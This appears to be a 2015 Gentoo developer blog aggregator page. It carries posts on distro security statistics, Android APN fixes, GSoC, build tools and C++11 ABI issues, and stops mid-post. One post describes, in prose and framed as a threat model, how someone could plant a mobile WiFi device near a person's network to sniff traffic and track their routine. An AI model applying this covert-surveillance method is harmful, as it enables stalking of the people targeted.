Gentoo Logo
Gentoo Logo Side
Gentoo Spaceship

Contributors:
. Aaron W. Swenson
. Agostino Sarubbo
. Alec Warner
. Alex Alexander
. Alex Legler
. Alexey Shvetsov
. Alexis Ballier
. Alexys Jacob
. Amadeusz Żołnowski
. Andreas K. Hüttel
. Andreas Proschofsky
. Anthony Basile
. Arun Raghavan
. Bernard Cafarelli
. Bjarke Istrup Pedersen
. Brent Baude
. Brian Harring
. Christian Ruppert
. Chí-Thanh Christopher Nguyễn
. Daniel Gryniewicz
. David Abbott
. Denis Dupeyron
. Detlev Casanova
. Diego E. Pettenò
. Domen Kožar
. Donnie Berkholz
. Doug Goldstein
. Eray Aslan
. Fabio Erculiani
. Gentoo Haskell Herd
. Gentoo Monthly Newsletter
. Gentoo News
. Gilles Dartiguelongue
. Greg KH
. Hanno Böck
. Hans de Graaff
. Ian Whyman
. Ioannis Aslanidis
. Jan Kundrát
. Jason Donenfeld
. Jeffrey Gardner
. Jeremy Olexa
. Joachim Bartosik
. Johannes Huber
. Jonathan Callen
. Jorge Manuel B. S. Vicetto
. Joseph Jezak
. Kenneth Prugh
. Kristian Fiskerstrand
. Lance Albertson
. Liam McLoughlin
. LinuxCrazy Podcasts
. Luca Barbato
. Luis Francisco Araujo
. Mark Loeser
. Markos Chandras
. Mart Raudsepp
. Matt Turner
. Matthew Marlowe
. Matthew Thode
. Matti Bickel
. Michael Palimaka
. Michal Hrusecky
. Michał Górny
. Mike Doty
. Mike Gilbert
. Mike Pagano
. Nathan Zachary
. Ned Ludd
. Nirbheek Chauhan
. Pacho Ramos
. Patrick Kursawe
. Patrick Lauer
. Patrick McLean
. Pavlos Ratis
. Paweł Hajdan, Jr.
. Petteri Räty
. Piotr Jaroszyński
. Rafael Goncalves Martins
. Raúl Porcel
. Remi Cardona
. Richard Freeman
. Robin Johnson
. Ryan Hill
. Sean Amoss
. Sebastian Pipping
. Steev Klimaszewski
. Stratos Psomadakis
. Sune Kloppenborg Jeppesen
. Sven Vermeulen
. Sven Wegener
. Thomas Kahle
. Tiziano Müller
. Tobias Heinlein
. Tobias Klausmann
. Tom Wijsman
. Tomáš Chvátal
. Vikraman Choudhury
. Vlastimil Babka
. Zack Medico

Last updated:
March 29, 2015, 03:04 UTC

Disclaimer:
Views expressed in the content published here do not necessarily represent the views of Gentoo Linux or the Gentoo Foundation.


Bugs? Comments? Suggestions? Contact us!

Powered by:
Planet Venus

Welcome to Gentoo Universe, an aggregation of weblog articles on all topics written by Gentoo developers. For a more refined aggregation of Gentoo-related topics only, you might be interested in Planet Gentoo.

March 26, 2015
Alex Legler a.k.a. a3li (homepage, bugs)
On Secunia’s Vulnerability Review 2015 (March 26, 2015, 19:44 UTC)

Today, Secunia have released their Vulnerability Review 2015, including various statistics on security issues fixed in the last year.

If you don’t know about Secunia’s services: They aggregate security issues from various sources into a single stream, or as they call it: they provide vulnerability intelligence.
In the past, this intelligence was available to anyone in a free newsletter or on their website. Recent changes however caused much of the useful information to go behind login and/or pay walls. This circumstance has also forced us at the Gentoo Security team to cease using their reports as references when initiating package updates due to security issues.

Coming back to their recently published document, there is one statistic that is of particular interest: Gentoo is listed as having the third largest number of vulnerabilities in a product in 2014.

from Secunia: Secunia Vulnerability Review 2015 (http://secunia.com/resources/reports/vr2015/)from Secunia: Secunia Vulnerability Review 2015
(http://secunia.com/resources/reports/vr2015/)

Looking at the whole table, you’d expect at least one other Linux distribution with a similarly large pool of available packages, but you won’t find any.

So is Gentoo less secure than other distros? tl;dr: No.

As Secunia’s website does not let me see the actual “vulnerabilities” they have counted for Gentoo in 2014, there’s no way to actually find out how these numbers came into place. What I can see though are “Secunia advisories” which seem to be issued more or less for every GLSA we send. Comparing the number of posted Secunia advisories for Gentoo to those available for Debian 6 and 7 tells me something is rotten in the state of Denmark (scnr):
While there were 203 Secunia advisories posted for Gentoo in the last year, Debian 6 and 7 had 304, yet Debian would have to have fixed less than 105 vulnerabilities in (55+249=) 304 advisories to be at least rank 21 and thus not included in the table above. That doesn’t make much sense. Maybe issues in Gentoo’s packages are counted for the distribution as well—no idea.

That aside, 2014 was a good year in terms of security for Gentoo: The huge backlog of issues waiting for an advisory was heavily reduced as our awesome team managed to clean up old issues and make them known to glsa-check in three wrap-up advisories—and then we also issued 239 others, more than ever since 2007. Thanks to everyone involved!

March 22, 2015
Diego E. Pettenò a.k.a. flameeyes (homepage, bugs)
My approach to paranoia: electronic bills (March 22, 2015, 15:27 UTC)

One thing that I've been told about my previous post is that I sounded paranoid. I may be, I"m not as paranoid as the kind of people who fear the NSA in my book.

We have plenty of content out there (I would venture a guess that most of it is on reddit, but don't take my word for it) where paranoids describe all the kind of shenanigans they go through to avoid "The Man". I thought I may as well put out there what I do in my "paranoia", and I'll start with my first tenet: Email is safer than snail mail.

We all know the Snowden revelation made people fret to find new email protocols and all that kind of stuff. But my point of view is that if someone wants to steal my mail (for whatever reason), they only have to force the very simple lock of my mailbox, or use some tool to take the envelopes out from the same opening that is used to put content in.

This might be not so obvious for my American readers, as I found recently that the way USPS's monopoly on mail delivery is enforced is by not letting anybody put stuff in your mailbox but the postman. Although I'm pretty sure that you can find black market keys for it. In Europe at least, mailboxes are not accessible by the postmen, and anybody can put envelopes in. In Italy in particular, TNT (the Dutch company) for a while ran a delivery service for mail, rather than packages. Both my bank, my mobile phone provider and me (to send mail to customers) used it because of the higher reliability.

So in this vein, I favour any kind of electronic communication over paper trail. This is not difficult in most countries right now; in particular in Italy it started more than five years ago with my landline and ADSL provider: not only they allowed me to receive their bills by email rather than snail mail, but they waived a €1.5/bill fee for delivery. Incidentally, this only worked if you had direct debit enabled, which I did because the bills kept arriving late, after expiration date passed, and we kept paying fines for that. As of today, the only bill that still arrives in the snail mail to my mother in Italy is the gas bill, and that's only because we don't use a city gas feed. This is especially handy as I'm the one paying said bills, and I'm no longer in Italy.

In Ireland, things are mostly okay, but not perfect: both my previous and current electricity and gas providers allow electronic bills, but the new one only allowed me to opt-in after I received the first two bills. Banks are strange — my first bank in Ireland was fully electronic, with the exception of inbound wires (which were pretty common for me due to Autotools Mythbuster and expense reimbursement for work travel); my current bank sends me the quarterly statements by mail, even though I have access to them on their website, but they do seem to have some problem with consistency and reliability. My Tesco VISA unfortunately does mail me the monthly statement by post, as they don't have an online banking site for Irish customers (they do for British ones, but let's not go there.) My American bank is totally paperless (which is very good for me, as I need to have my US mail forwarded), to the point that receiving rebate checks, I only needed my mobile phone to deposit them.

But there is a much more important piece of paper, that I kept receiving after I moved to Dublin: my payslip. It's probably not obvious to everybody but this is my first "proper" employment. Before I had contracts, and freelanced, and had my own "company", so I would send and receive invoices, but never received a payslip before joining the company I work for now. And for a few long months I would receive the paper copy of it in my mailbox at the end of the month. I don't think there is much more private than your salary, so this was bothering me for a while — luckily we now moved to an external online provider, so no more paper trail for this.

The question becomes how to handle the paper that you do receive. I already wrote a long time ago about my dream of a paperless office, and I have bought a professional EPSON scanner, as having your own company generates a huge amount of paper. While I don't use it with the same workflow as I had before, I still scan all the paper I receive in the mail, and then destroy it fully.

In Italy I had a shredder: I would shred any paper at all, whether it contained personal information or not; my point is that even if someone was dumpster diving into my personal shredded paper, they would end up finding the most recent promotional spam from TeamViewer or MediaMarkt. There are nasty problems with having a shredder: it's extremely noisy, it creates tons of dust, and you have to clean it manually which takes a lot of time. You have no idea how bad my home office was after I finished running the whole set of historical documents of the family!

Here things got lucky, instead of dealing with a home shredder, my office uses a shredding company services, so I just need to bring the papers with me and throw them in the dedicated bins. This makes it much simpler to deal with the trickling paper trail of mail (and boarding passes, and so on…).

I have multiple copies of all the PDFs scanned documents: Google Drive, Dropbox and an encrypted USB flash stick, to make it safe. So unless the interested attacker gets access to my personal accounts, there is no way to access that information.

March 21, 2015

Following the news that PC manufacturers have started to use Intel Boot Guard, a technology designed to prevent the installation of modified or custom firmware like coreboot, we now learn that Microsoft may drop the requirement of Secure Boot deactivatability from the Windows 10 Logo guidelines. This collusion between Microsoft and Intel in allowing only vendor signed code during early boot potentially affects all new computers which come with Windows 10 preinstalled.

It means that in a pessimistic scenario, the only thing that stands between Microsoft (or anybody else with access to the infrastructure) being able to disable millions of Linux computers on a whim by blacklisting their bootloader signatures, may be the ability to install user keys in the UEFI key storage. Computer owners would have no other way to defend against this.

It is probably time to familiarize yourself with the procedure to do Secure Boot with your own keys. At least this remains possible, for now.

March 20, 2015
Nathan Zachary a.k.a. nathanzachary (homepage, bugs)

Currently, I have a T-Mobile branded Samsung Galaxy S4 (SGH-M919) and until this past weekend I was running CyanogenMod 11 (the M9 snapshot) on it. I was having one minor problem with it, and that was that all-too-often the artist and track information from my music stream would not be sent via Bluetooth. I hadn’t updated because if the majority of things are running smoothly, why test fate? Anyway, a few days ago I took the plunge and updated to the M12 snapshot via the CM Updater.

Almost immediately I ran into a big problem. Every so often (seemingly randomly), I would get the alert that “Unfortunately, com.android.phone” had stopped. Worse yet, when that happened, I would lose mobile connectivity on any voice call. If I was in a voice call, the connection would drop. If I wasn’t in a call, I would be unable to receive or dial out for some time. Clearly, this was a huge problem since… well… one of the primary foci of a mobile is to make and receive voice calls.

Thinking that it was a problem with flashing the new ROM from CM Updater, I tried manually flashing the M12 snapshot. When that didn’t work, I tried a bunch of other things as well:

Unfortunately, all of these things got me nowhere. The problem was still occurring, and I couldn’t figure out what was happening. At first I was thinking that there was a hardware problem, but the Java stack trace indicated otherwise:

[CRASH] com.android.phone threw java.lang.NullPointerException
at android.telephony.SmsMessage.getTimestampMillis(SmsMesssage.java:607)

After all of those troubleshooting steps, though, CyanogenMod 12 revealed something to me that I hadn’t seen in the stack trace before:

com.android.mms.service

Noticing the MMS portion of that error made me think to check the APN settings for the device. What I found is that there were some slight problems. Below is what the settings were “out of the box” in CyanogenMod for the jfltetmo/jflte (which is the Samsung Galaxy S4):

Name: T-Mobile US LTE
APN: fast.t-mobile.com
Proxy: Not set
Port: Not set
Username: none
Password: **** (yes, four asterisks)
Server: * (yes, just as asterisk)
MMSC: http://mms.msg.eng.t-mobile.com/mms/wapenc
MMS Proxy: Not set
MMS Port: Not set
MMC: 310
MNC: 260
Authentication type: Not set
APN type: default,supl,mms
APN protocol: IPv4
APN roaming protocol: IPv4
Bearer: Unspecified
MVNO type: None

HOWEVER, they should be (the changes that I had to make are in red; you may need to change others to match the ones below):

Name: T-Mobile US LTE
APN: fast.t-mobile.com
Proxy: Not set
Port: Not set
Username: none
Password: Not set
Server: Not set
MMSC: http://mms.msg.eng.t-mobile.com/mms/wapenc
MMS Proxy: Not set
MMS Port: 80
MMC: 310
MNC: 260
Authentication type: Not set
APN type: default,supl,mms
APN protocol: IPv4
APN roaming protocol: IPv4
Bearer: Unspecified
MVNO type: None

After making those changes and setting them in the APN, voilà! No more message about com.android.phone crashing with reference to com.android.mms.service.

If you are experiencing the same problem, I hope that you see this post before going through WAY too may troubleshooting steps whilst overlooking the smaller, more likely problems. Let us not forget Ockham’s Razor—given equal circumstances, the simplest solution tends to be the correct one.

Cheers,
Zach

March 18, 2015
Jan Kundrát a.k.a. jkt (homepage, bugs)

It is that time of the year again, and people are applying for Google Summer of Code positions. It's great to see a big crowd of newcomers. This article explains what sort of students are welcome in GSoC from the point of view of Trojitá, a fast Qt IMAP e-mail client. I suspect that many other projects within KDE share my views, but it's best to ask them. Hopefully, this post will help students understand what we are looking for, and assist in deciding what project to work for.

Finding a motivation

As a mentor, my motivation in GSoC is pretty simple — I want to attract new contributors to the project I maintain. This means that I value long-term sustainability above fancy features. If you are going to apply with us, make sure that you actually want to stick around. What happens when GSoC terminates? What happens when GSoC terminates and the work you've been doing is not ready yet? Do you see yourself continuing the work you've done so far? Or is it going to become an abandonware, with some cash in your pocket being your only reward? Who is going to maintain the code which you worked hard to create?

Selecting an area of work

This is probably the most important aspect of your GSoC involvement. You're going to spend three months of full time activity on some project, a project you might have not heard about before. Why are you doing this — is it only about the money, or do you already have a connection to the project you've selected? Is the project trying to solve a problem that you find interesting? Would you use the results of that project even without the GSoC?

My experience shows that it's best to find a project which fills a niche that you find interesting. Do you have a digital camera, and do you think that a random photo editor's interface sucks? Work on that, make the interface better. Do you love listening to music? Maybe your favorite music player has some annoying bug that you could fix. Maybe you could add a feature to, say, synchronize the playlist with your cell phone (this is just an example, of course). Do you like 3D printing? Help improve an existing software for 3D printing, then. Are you a database buff? Is there something you find lacking in, e.g., PostgreSQL?

Either way, it is probably a good idea to select something which you need to use, or want to use for some reason. It's of course fine to e.g. spend your GSoC term working on an astronomy tool even though you haven't used one before, but unless you really like astronomy, then you should probably choose something else. In case of Trojitá, if you have been using GMail's web interface for the past five years and you think that it's the best thing since sliced bread, well, chances are that you won't enjoy working on a desktop e-mail client.

Pick something you like, something which you enjoy working with.

Making a proposal

An excellent idea is to make yourself known in advance. This does not happen by joining the IRC channel and saying "I want to work on GSoC", or mailing us to let us know about this. A much better way of getting involved is through showing your dedication.

Try to play with the application you are about to apply for. Do you see some annoying bug? Fix it! Does it work well? Use the application more; you will find bugs. Look at the project's bug tracker, maybe there are some issues which people are hitting. Do you think that you can fix it? Diving into bug fixing is an excellent opportunity to get yourself familiar with the project's code base, and to make sure that our mentors know the style and pace of your work.

Now that you have some familiarity with the code, maybe you can already see opportunities for work besides what's already described on the GSoC ideas wiki page. That's fine — the best proposals usually come from students who have found them on their own. The list of ideas is just that, a list of ideas, not an exhaustive cookbook. There's usually much more what can be done during the course of the GSoC. What would be most interesting area for you? How does it fit into the bigger picture?

After you've thought about the area to work on, now it's time to write your proposal. Start early, and make sure that you talk about your ideas with your prospective mentors before you spend three hours preparing a detailed roadmap. Define the goals that you want to achieve, and talk with your mentors about them. Make sure that the work fits well with the length and style of the GSoC.

And finally, be sure that you stay open and honest with your mentoring team. Remember, this is not a contest of writing a best project proposal. For me, GSoC is all about finding people who are interested in working on, say, Trojitá. What I'm looking for are honest, fair-behaving people who demonstrate willingness to learn new stuff. On top of that, I like to accept people with whom I have already worked. Hearing about you for the first time when I read your GSoC proposal is not a perfect way of introducing yourself. Make yourself known in advance, and show us how you can help us make our project better. Show us that you want to become a part of that "we".

Patrick Lauer a.k.a. bonsaikitten (homepage, bugs)
Upgrading ThunderBird (March 18, 2015, 02:35 UTC)

With the recent update from the LongTimeSuffering / ExtendedSufferingRelease of Thunderbird from 24 to 31 we encountered some serious badness.

The best description of the symptoms would be "IMAP doesn't work at all"
On some machines the existing accounts would be disappeared, on others they would just be inert and never receive updates.

After some digging I was finally able to find the cause of this:
Too old config file.

Uhm ... what? Well - some of these accounts have been around since TB2. Some newer ones were enhanced by copying the prefs.js from existing accounts. And so there's a weird TB bugreport that is mostly triggered by some bits being rewritten around Firefox 30, and the config parser screwing up with translating 'old' into 'new', and ... effectively ... IMAP being not-whitelisted, thus by default blacklisted, and hilarity happens.

Should you encounter this bug you "just" need to revert to a prefs.js from before the update (sigh) and then remove all lines involving "capability.policy".
Then update and ... things work. Whew.

Why not just remove profile and start with a clean one you say? Well ... for one TB gets brutally unusably slow if you have emails. So just re-reading the mailbox content from a local fast IMAP server will take ~8h and TB will not respond to user input during that time.
And then you manually have to go into eeeevery single subfolder so that TB remembers it is there and actually updates it. That's about one work-day per user lost to idiocy, so sed'ing the config file into compliance is the easy way out.
Thank you, Mozilla, for keeping our lives exciting!

March 17, 2015
Alexys Jacob a.k.a. ultrabug (homepage, bugs)
mongoDB 3.0.1 (March 17, 2015, 13:46 UTC)

This is a quite awaited version bump coming to portage and I’m glad to announce it’s made its way to the tree today !

I’ll right away thank a lot Tomas Mozes and Darko Luketic for their amazing help, feedback and patience !

mongodb-3.0.1

I introduced quite some changes in this ebuild which I wanted to share with you and warn you about. MongoDB upstream have stripped quite a bunch of things out of the main mongo core repository which I have in turn split into ebuilds.

Major changes :

  • respect upstream’s optimization flags : unless in debug build, user’s optimization flags will be ignored to prevent crashes and weird behaviour.
  • shared libraries for C/C++ are not built by the core mongo respository anymore, so I removed the static-libs USE flag.
  • various dependencies optimization to trigger a rebuild of mongoDB when one of its linked dependency changes.

app-admin/mongo-tools

The new tools USE flag allows you to pull a new ebuild named app-admin/mongo-tools which installs the commands listed below. Obviously, you can now just install this package if you only need those tools on your machine.

  • mongodump / mongorestore
  • mongoexport / mongoimport
  • mongotop
  • mongofiles
  • mongooplog
  • mongostat
  • bsondump

app-admin/mms-agent

The MMS agent has now some real version numbers and I don’t have to host their source on Gentoo’s infra woodpecker. At the moment there is only the monitoring agent available, shall anyone request the backup one, I’ll be glad to add its support too.

dev-libs/mongo-c(xx)-driver

I took this opportunity to add the dev-libs/mongo-cxx-driver to the tree and bump the mongo-c-driver one. Thank you to Balint SZENTE for his insight on this.

March 15, 2015
Sebastian Pipping a.k.a. sping (homepage, bugs)

Wir unterbrechen für eine kurze Durchsage:

Gentoo Linux ist bei den Chemnitzer Linux-Tagen am

Samstag 21. und
Sonntag 22. März 2015

mit einem Stand vertreten.

https://chemnitzer.linux-tage.de/2015/de

Es gibt unter anderem Gentoo-T-Shirts, Lanyards und Buttons zum selbst kompilieren.

Hanno Böck a.k.a. hanno (homepage, bugs)

Just wanted to quickly announce two talks I'll give in the upcoming weeks: One at BSidesHN (Hannover, 20th March) about some findings related to PGP and keyservers and one at the Easterhegg (Braunschweig, 4th April) about the current state of TLS.

A look at the PGP ecosystem and its keys

PGP-based e-mail encryption is widely regarded as an important tool to provide confidential and secure communication. The PGP ecosystem consists of the OpenPGP standard, different implementations (mostly GnuPG and the original PGP) and keyservers.

The PGP keyservers operate on an add-only basis. That means keys can only be uploaded and never removed. We can use these keyservers as a tool to investigate potential problems in the cryptography of PGP-implementations. Similar projects regarding TLS and HTTPS have uncovered a large number of issues in the past.

The talk will present a tool to parse the data of PGP keyservers and put them into a database. It will then have a look at potential cryptographic problems. The tools used will be published under a free license after the talk.

Update:
Source code
A look at the PGP ecosystem through the key server data (background paper)
Slides

Some tales from TLS

The TLS protocol is one of the foundations of Internet security. In recent years it's been under attack: Various vulnerabilities, both in the protocol itself and in popular implementations, showed how fragile that foundation is.

On the other hand new features allow to use TLS in a much more secure way these days than ever before. Features like Certificate Transparency and HTTP Public Key Pinning allow us to avoid many of the security pitfals of the Certificate Authority system.

Diego E. Pettenò a.k.a. flameeyes (homepage, bugs)

As much as I've become an expert on the topic, there is one question I still have no idea how to answer, and that is why on earth we have three separate projects (autoconf, automake, libtool) instead of a single Autotools project. Things get even more interesting when you think that there is the Autoconf Archive – which, by the way, references Autotools Mythbuster as best practices – and then projects such as dolt that are developed by completely separate organisations.

I do think that this is a quite big drawback of autotools compared to things like CMake: you now have to allow for combinations of different tools written in different languages (autoconf is almost entirely shell and M4, automake uses lots of Perl, libtool is shell as well), with their own deprecation timelines, and with different distributions providing different sets of them.

My guess is that many problems lie in the different sets of developers for each project. I know for instance that Stefano at least was planning to have a separate Automake-NG implementation that did not rely on Perl at all, but used GNU make features, including make macros. I generally like this idea, because similarly to dolt it removes overhead for the most common case (any Linux distribution will use GNU make by default), while not removing the option where this is indeed needed (any BSD system.) On the other hand it adds one more dimension to the already multi-dimensional compatibility problem.

Having a single "autotools" package, while making things a bit more complicated on the organizational level, could make a few things fit better. For instance if you accepted Perl as a dependency of the package – since automake needs it; but remember this is not a dependency for the projects using autotools! – you could simplify the libtoolize script which is currently written in shell.

And it would probably be interesting if you could just declare in your configure.ac file whether you want a fully portable build system, or you're okay with telling people that they need a more modern system, and drop some of the checks/compatibility quirks straight at make dist time. I'm sure that util-linux does not care about building dynamic libraries on Windows, and that PulseAudio does not really care for building on non-GNU make implementations.

Of course these musings are only personal and there is nothing that substantiate them regarding how things would turn out; I have not done any experiment with actually merging the packages into a single releasable unit, but I do have some experience with split-but-not-really software, and in this case I can't see many advantages in the split of autotools, at least from the point of view of the average project that is using the full set of them. There are certainly reasons for which people would prefer them to be split, because especially if they have been using only autoconf and snobbing automake all this time, but… I'm not sure I agree with those reasons to begin with.

March 11, 2015
Diego E. Pettenò a.k.a. flameeyes (homepage, bugs)
Siphoning data on public and private WiFi (March 11, 2015, 22:48 UTC)

So you may remember I have been reviewing some cyber-thrillers in the past, and some of them have been pretty bad. After that I actually thought I could write one myself; after all, it couldn't be as bad as Counting from Zero. Unfortunately the harsh reality is that I don't know enough diverse people out there to build up new, interesting but most importantly realistic characters. So I shelved the project completely.

But at the same time, I spent a lot of time thinking of interesting things that may happen in a cyber-thriller that fit more into my world view — while Doctorow will take on surveillance, and Russinovich battles terrorists armed with Windows viruses, I would have put my characters in to deal with the more mundane variety of cyber criminals.

One of the things that I thought about is a variant on an old technique, called Wardriving. While this is not a new technique, I think there are a few interesting twists and it would be a little too interesting tool for low-lifers with a little (not a lot) of computer knowledge.

First of all, when wardriving started as what became a fad, the wireless networks out there were vastly unencryped and for the most part underutilized. Things changed, now thanks to WPA a simple pass-by scan of a network does not give you as much data, and changes in the way wireless protocols are implemented have, for a while, made the efforts hard enough.

But things changed over time, so what is the current situation? I have been thinking of how many things you could do with a persistent wardriving, but it wasn't until I got bored out of my mind on a lounge at an airport that I was able to prove my point. On my own laptop, in a totally passive mode, invisible to any client on the network, a simple tcpdump or Wireshark dump would show a good chunk of information.

For the most part not something that would be highly confidential — namely I was not able to see anything being sent by the other clients of the network, but I was able to see most of the replies coming from the servers; just monitor DNS and clear-text HTTP and you can find a lot of information about who's around you.

For instance I could tell that there was another person in the lounge waiting for the same flight as me — as they were checking the RTE website, and I doubt any person not Irish or not connected with Ireland would spend time there. Oh and the guy sitting in front of me was definitely Japanese, because once he sat down I could see the replies back from yahoo.co.jp and a few more websites based in Japan.

Let me be clear, I was not doing that with the intention of doxxing somebody. I originally started tcpdump because one of my own servers was refusing me access — the lounge IP range is in multiple DNSBL, I was expecting the traffic on the network to be mostly viruses trying to replicate. What I found instead was that the access point is broadcasting to all connected clients the replies coming in for anyone else. This is not entirely common: usually you need to set your wireless card in promiscuous mode, and many cards nowadays don't even let you do that.

But if this is the small fries of information I can figure out by looking at a tcpdump trace in a few minutes, you can imagine what you can find if you can sniff a network for a few hours. But spending a few hours tracing a network in the coffee shop at the corner could be suspicious. How can you make it less obvious? Well, here's an interesting game, although I have not played it if not in my own stories' drafts.

There are plenty of mobile WiFi devices out there — they take a SIM card and then project a WiFi signal for you to connect your devices to. I have one by Vodafone (although I use it with a bunch of different operators depending on where I'm traveling), and it is very handy, but while it runs Linux I did not even look for the option of rooting it. These are pretty common to find on eBay, second hand, because sometimes they essentially come free with the contract, and people update them fairly often as new features come up. Quite a few can run OpenWRT.

These devices come with a decent battery (mine lasts easily a whole day of use), and if you buy them second hand they are fairly untraceable (does anybody ever record the IMEI/serial number of the devices they sell?), and are ready to connect to mobile networks (although that's trickier, the SIM is easier to trace.) Mine actually comes with a microSDHC slot, which means you can easily fit a very expensive 128GB microSD card if you want.

Of course it relies a lot on luck and the kind of very broad fishing net that makes it unfeasible for your average asshole to use, but there isn't much needed — just a single service that shows you your plaintext password on a website, to match to an username, as most people will not use different passwords across services, with very few exceptions.

But let's make it creepier – yes I'll insist on making my posts about what I perceive to be a more important threat model than the NSA – instead of playing this on a random coffee shop at the corner, you are looking into a specific someone's private life, and you're close enough that you know or can guess their WiFi access point name and password, dropping one of these devices within the WiFi reach is not difficult at all.

The obvious question becomes what can you find with such a trace. Well, in no particular order you can tell the routine of a person quite easily by figuring out which time of the day they are at home (my devices don't talk to each other that much when I'm not at home), what time they get up for work, and what time they are out of the door. You can tell how often they do their finances (I don't go to my bank's site every day, much less often the revenue's). For some of the people out there you can tell when they have a private moment and what their interests are (yes I admit I went and checked, assuming you can only see the server response, you can still tell the title of the content that is being streamed/downloaded.) You can tell if they are planning a vacation, and in many cases where. You can tell if they are going to see a movie soon.

Creepy enough? Do I need to paint you a picture of that creepy acquaintance that you called in last week to help you set up your home theater, and to which you gave the WiFi password so he could Google up your provider's setup guide?

How do you defend from this? Well, funnily enough a lot of the things people have been talking before the "Snowden Revelations" help a lo with this: HTTPS Everywhere and even Tor helps with this. While the latter gives you a different set of problems (it may be untraceable but it does not mean it's secure!), it does obfuscate the data flow out of your network. It does not hide the traffic patterns (so you can still tell when people are in or not, when they wake up, and so on) but it does hide where you're going, so that your private moments stay private. Unfortunately it is out of the reach of most people.

HTTPS is a compromise: you can't tell exactly what's going on, but if your target is going to YouPorn, you can still tell by the DNS reply. It does reduce the surface of attack considerably, though, and does not require that much technical knowledge on the client side. It's for reasons like this that service providers should use HTTPS — it does not matter if the NSA can break the encryption, your creepy guy is not the NSA, but small parts of the creepy guy's plan are thwarted by it: the logs can show the target visited the website of a movie theatre chain, but can't show the replies from the server with the name of the branch or the movie that the target was interested in.

What is not helping us here, right now, with the creepy guys that are so easy to come by, is the absolute paranoia of the security and cryptography community right now. Dark email? Secure text messaging? They are definitely technologies that need to be explored and developed, but they should not be the focus of the threat model for the public. In this, I'm totally agreeing with Mickens.

I was (and a bit am) scared about writing about this, it makes me feel creepy. It gives a very good impression of how easy it is to abuse a bit of technical knowledge to become a horrible person. And with the track record of the technical circle in the past few years, it does scare the hell out of me, pardon the language.

While the rest of the security and technical community keep focusing on the ghost of the NSA, my fears are in the ease of everyday scams and information leaks. I was not surprised of what the various secret agencies out there wanted to do, after all we've seen the movies and the TV series. I was surprised of a few of the tools and reaches, but not the intentions. But the abuse power? There's just as much of it outside of the surveillance community, it's just that the people who know don't care – they focus on theoretical problems, on the Chief World Systems, because that's where the fun and satisfaction is – and the people who are at risk either believe everything is alright, or everything is not alright; they listen to what the media has to say, and the media never paints useful pictures.

Denis Dupeyron a.k.a. calchan (homepage, bugs)
/bin/sh: Argument list too long (March 11, 2015, 19:22 UTC)

I tried building binutils-2.25 in a qemu chroot and I got the following error during the build process:

/bin/sh: Argument list too long

Google wasn’t helpful. So I looked at the code for qemu-2.2.0, which is where my static qemu binary comes from. At some point I stumbled on this line in linux-user/qemu.h:

#define MAX_ARG_PAGES 33

I changed that 33 to a 64, rebuilt, replaced the approriate static binary in my chroot, and the error went away.

Andreas K. Hüttel a.k.a. dilfridge (homepage, bugs)

We're happy to be able to announce that our manuscript "Broken SU(4) symmetry in a Kondo-correlated carbon nanotube" has been accepted for publication in Physical Review B.
This manuscript is the result of a joint experimental and theoretical effort. We demonstrate that there is a fundamental difference between cotunneling and the Kondo effect - a distinction that has been debated repeatedly in the past. In carbon nanotubes, the two graphene-derived Dirac points can lead to a two-fold valley degeneracy in addition to spin degeneracy; each orbital "shell" of a confined electronic system can be filled with four electrons. In most nanotubes, these degeneracies are broken by the spin-orbit interaction (due to the wall curvature) and by valley mixing (due to, as recently demonstrated, scattering at the nanotube boundaries). Using an externally applied magnetic field, the quantum states involved in equilibrium (i.e., elastic, zero-bias) and nonequilibrium (i.e., inelastic, finite bias) transitions can be identified. We show theoretically and experimentally that in the case of Kondo correlations, not all quantum state pairs contribute to Kondo-enhanced transport; some of these are forbidden by symmetries stemming from the carbon nanotube single particle Hamiltonian. This is distinctly different from the case of inelastic cotunneling (at higher temperatures and/or weaker quantum dot-lead coupling), where all transitions have been observed in the past.

"Broken SU(4) symmetry in a Kondo-correlated carbon nanotube"
D. R. Schmid, S. Smirnov, M. Marganska, A. Dirnaichner, P. L. Stiller, M. Grifoni, A. K. Hüttel, and Ch. Strunk
accepted for publication in Physical Review B, arXiv:1312.6586 (PDF)

March 10, 2015
Anthony Basile a.k.a. blueness (homepage, bugs)

Gentoo allows users to have multiple versions of gcc installed and we (mostly?) support systems where userland is partially build with different versions.  There are both advantages and disadvantages to this and in this post, I’m going to talk about one of the disadvantages, the C++11 ABI incompatibility problem.  I don’t exactly have a solution, but at least we can define what the problem is and track it [1].

First what is C++11?  Its a new standard of C++ which is just now making its way through GCC and clang as experimental.  The current default standard is C++98 which you can verify by just reading the defined value of __cplusplus using the preprocessor.

$  g++ -x c++ -E -P - <<< __cplusplus
199711L
$  g++ -x c++ --std=c++98 -E -P - <<< __cplusplus
199711L
$  g++ -x c++ --std=c++11 -E -P - <<< __cplusplus
201103L

This shouldn’t be surprising, even good old C has standards:

$ gcc -x c -std=c90 -E -P - <<< __STDC_VERSION__
__STDC_VERSION__
$ gcc -x c -std=c99 -E -P - <<< __STDC_VERSION__
199901L
$ gcc -x c -std=c11 -E -P - <<< __STDC_VERSION__
201112L

We’ll leave the interpretation of these values as an exercise to the reader.  [2]

The specs for these different standards at least allow for different syntax and semantics in the language.  So here’s an example of how C++98 and C++11 differ in this respect:

// I build with both --std=c++98 and --std=c++11
#include <iostream>
using namespace std;
int main() {
    int i, a[] = { 5, -3, 2, 7, 0 };
    for (i = 0; i < sizeof(a)/sizeof(int); i++)
        cout << a[i] << endl ;
    return 0;
}
// I build with only --std=c++11
#include <iostream>
using namespace std;
int main() {
    int a[] = { 5, -3, 2, 7, 0 };
    for (auto& x : a)
        cout << x << endl ;
    return 0;
}

I think most people would agree that the C++11 way of iterating over arrays (or other objects like vectors) is sexy.  In fact C++11 is filled with sexy syntax, especially when it come to its threading and atomics, and so coders are seduced.  This is an upstream choice and it should be reflected in their build system with –std= sprinkled where needed.  I hope you see why you should never add –std= to your CFLAGS or CXXFLAGS.

The syntactic/semantic differences is the first “incompatiblity” and it is really not our problem downstream.  Our problem in Gentoo comes because of ABI incompatibilities between the two standards arrising from two sources: 1) Linking between objects compiled with –std=c++98 and –std=c++11 is not guaranteed to work.  2) Neither is linking between objects both compiled with –std=c+11 but with different versions of GCC differing in their minior release number.  (The minor release number is x in gcc-4.x.y.)

To see this problem in action, let’s consider the following little snippet of code which uses a C++11 only function [3]

#include <chrono>
using namespace std;
int main() {
    auto x = chrono::steady_clock::now;
}

Now if we compile that with gcc-4.8.3 and check its symbols we get the following:

$ $ g++ --version
g++ (Gentoo Hardened 4.8.3 p1.1, pie-0.5.9) 4.8.3
$ g++ --std=c++11 -c test.cpp
